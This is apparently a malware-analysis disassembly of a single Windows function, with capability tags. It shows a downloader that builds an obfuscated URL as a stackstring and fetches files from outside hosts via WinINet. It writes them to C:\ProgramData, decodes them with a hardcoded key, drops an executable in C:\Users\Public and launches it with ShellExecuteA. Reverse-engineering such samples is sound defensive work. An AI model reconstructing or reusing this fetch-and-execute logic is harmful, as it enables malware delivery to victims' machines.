Function at 0x402740
Capabilities:
Contain obfuscated stackstrings
Create http request
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4653a1
mov eax, dword fs:[0]
push eax
sub esp, 0x104
mov eax, dword [0x47deb4]
xor eax, esp
mov dword [esp + 0x100], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x47deb4]
xor eax, esp
push eax
lea eax, [esp + 0x118]
mov dword fs:[0], eax
xor ebx, ebx
push ebx
push ebx
push ebx
push 1
mov ecx, 0xa
mov esi, str.https:__www.sfkjrsjs4r6yarhtrtghrfdt.ai
lea edi, [esp + 0xfc]
push ebx
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.WININET.dll_InternetOpenA]
push ebx
push 0x84000000
push ebx
mov ebp, eax
push ebx
lea eax, [esp + 0xfc]
push eax
push ebp
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
cmp esi, ebx
jne 0x402baa
mov al, 0x2f
mov cl, 0x73
mov byte [esp + 0x98], cl
mov byte [esp + 0x9a], al
mov byte [esp + 0x9b], al
mov dl, 0x63
mov byte [esp + 0xa2], al
mov byte [esp + 0xa9], cl
mov byte [esp + 0xb3], cl
mov byte [esp + 0xb5], al
mov byte [esp + 0xb6], al
mov byte [esp + 0xbd], cl
mov byte [esp + 0xbe], al
mov byte [esp + 0xc0], al
mov byte [esp + 0xc1], cl
mov cl, 0x41
mov al, 0x46
mov byte [esp + 0xa0], dl
mov byte [esp + 0xa1], dl
mov dl, 0x64
mov byte [esp + 0xc3], cl
mov byte [esp + 0xc5], al
mov byte [esp + 0xc7], al
mov byte [esp + 0xce], cl
mov cl, 0x67
mov al, 0x65
mov byte [esp + 0x94], 0x68
mov byte [esp + 0x95], 0x74
mov byte [esp + 0x96], 0x74
mov byte [esp + 0x97], 0x70
mov byte [esp + 0x99], 0x3a
mov byte [esp + 0x9c], 0x6f
mov byte [esp + 0x9d], 0x6e
mov byte [esp + 0x9e], 0x77
mov byte [esp + 0x9f], 0x2e
mov byte [esp + 0xa3], 0x31
mov byte [esp + 0xa4], dl
mov byte [esp + 0xa5], 0x72
mov byte [esp + 0xa6], 0x76
mov byte [esp + 0xa7], 0x2e
mov byte [esp + 0xa8], 0x6d
mov byte [esp + 0xaa], 0x3f
mov byte [esp + 0xab], 0x75
mov byte [esp + 0xac], 0x72
mov byte [esp + 0xad], 0x6c
mov byte [esp + 0xae], 0x3d
mov byte [esp + 0xaf], 0x68
mov byte [esp + 0xb0], 0x74
mov byte [esp + 0xb1], 0x74
mov byte [esp + 0xb2], 0x70
mov byte [esp + 0xb4], 0x3a
mov byte [esp + 0xb7], 0x31
mov byte [esp + 0xb8], dl
mov byte [esp + 0xb9], 0x72
mov byte [esp + 0xba], 0x76
mov byte [esp + 0xbb], 0x2e
mov byte [esp + 0xbc], 0x6d
mov byte [esp + 0xbf], 0x75
mov byte [esp + 0xc2], 0x21
mov byte [esp + 0xc4], 0x6b
mov byte [esp + 0xc6], 0x50
mov byte [esp + 0xc8], 0x70
mov byte [esp + 0xc9], 0x5a
mov byte [esp + 0xca], 0x4f
mov byte [esp + 0xcb], dl
mov byte [esp + 0xcc], 0x36
mov byte [esp + 0xcd], 0x77
mov byte [esp + 0xcf], cl
mov byte [esp + 0xd0], 0x6d
mov byte [esp + 0xd1], 0x6c
mov byte [esp + 0xd2], 0x7a
mov byte [esp + 0xd3], 0x34
mov byte [esp + 0xd4], 0x4c
mov byte [esp + 0xd5], 0x39
mov byte [esp + 0xd6], al
mov byte [esp + 0xd7], 0x66
mov byte [esp + 0xd8], cl
mov byte [esp + 0xd9], 0x71
mov byte [esp + 0xda], 0x62
mov byte [esp + 0xdb], 0x68
mov byte [esp + 0xdc], 0x45
lea ecx, [esp + 0x4c]
mov byte [esp + 0xdd], dl
mov byte [esp + 0xde], 0x43
mov byte [esp + 0xdf], 0x3f
mov byte [esp + 0xe0], al
mov byte [esp + 0xe1], 0x3d
mov byte [esp + 0xe2], 0x44
mov byte [esp + 0xe3], 0x52
mov byte [esp + 0xe4], 0x33
mov byte [esp + 0xe5], 0x6a
mov byte [esp + 0xe6], 0x32
mov byte [esp + 0xe7], 0x6f
mov byte [esp + 0xe8], bl
call fcn.004013c0
mov edi, 0xf
mov eax, str.C:ProgramData7696.xml
mov dword [esp + 0x120], ebx
mov dword [esp + 0x2c], edi
mov dword [esp + 0x28], ebx
mov byte [esp + 0x18], bl
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x402a85
sub eax, esi
push eax
push str.C:ProgramData7696.xml
lea ecx, [esp + 0x1c]
call fcn.004015b0
lea eax, [esp + 0x94]
mov byte [esp + 0x120], 1
mov dword [esp + 0x48], edi
mov dword [esp + 0x44], ebx
mov byte [esp + 0x34], bl
lea edx, [eax + 1]
jmp 0x402ac0
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x402ac0
sub eax, edx
push eax
lea ecx, [esp + 0x98]
push ecx
lea ecx, [esp + 0x38]
call fcn.004015b0
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x34]
push eax
lea ecx, [esp + 0x54]
mov byte [esp + 0x128], 2
call fcn.00401980
mov esi, 0x10
cmp dword [esp + 0x48], esi
jb 0x402b0e
mov ecx, dword [esp + 0x34]
push ecx
call fcn.0040776a
add esp, 4
mov dword [esp + 0x48], edi
mov dword [esp + 0x44], ebx
mov byte [esp + 0x34], bl
mov byte [esp + 0x120], bl
cmp dword [esp + 0x2c], esi
jb 0x402b34
mov edx, dword [esp + 0x18]
push edx
call fcn.0040776a
add esp, 4
lea ecx, [esp + 0x4c]
mov dword [esp + 0x2c], edi
mov dword [esp + 0x28], ebx
mov byte [esp + 0x18], bl
call fcn.00401130
push str.C:ProgramData65745.xml
push str.C:ProgramData7696.xml
push str.nmfdsopm09833564g35
call fcn.00402510
push str.C:ProgramData65745.xml
push str.C:UsersPublic_
call fcn.00402200
add esp, 0x14
push 5
push ebx
push 0x468854
push str.C:UsersPubliclsb_release_tbtool.exe
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebp
call esi
push ebx
call esi
lea ecx, [esp + 0x4c]
mov dword [esp + 0x120], 0xffffffff
call fcn.004017d0
jmp 0x402bb6
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebp
call edi
push esi
call edi
xor eax, eax
mov ecx, dword [esp + 0x118]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x100]
xor ecx, esp
call fcn.0041465a
add esp, 0x110
ret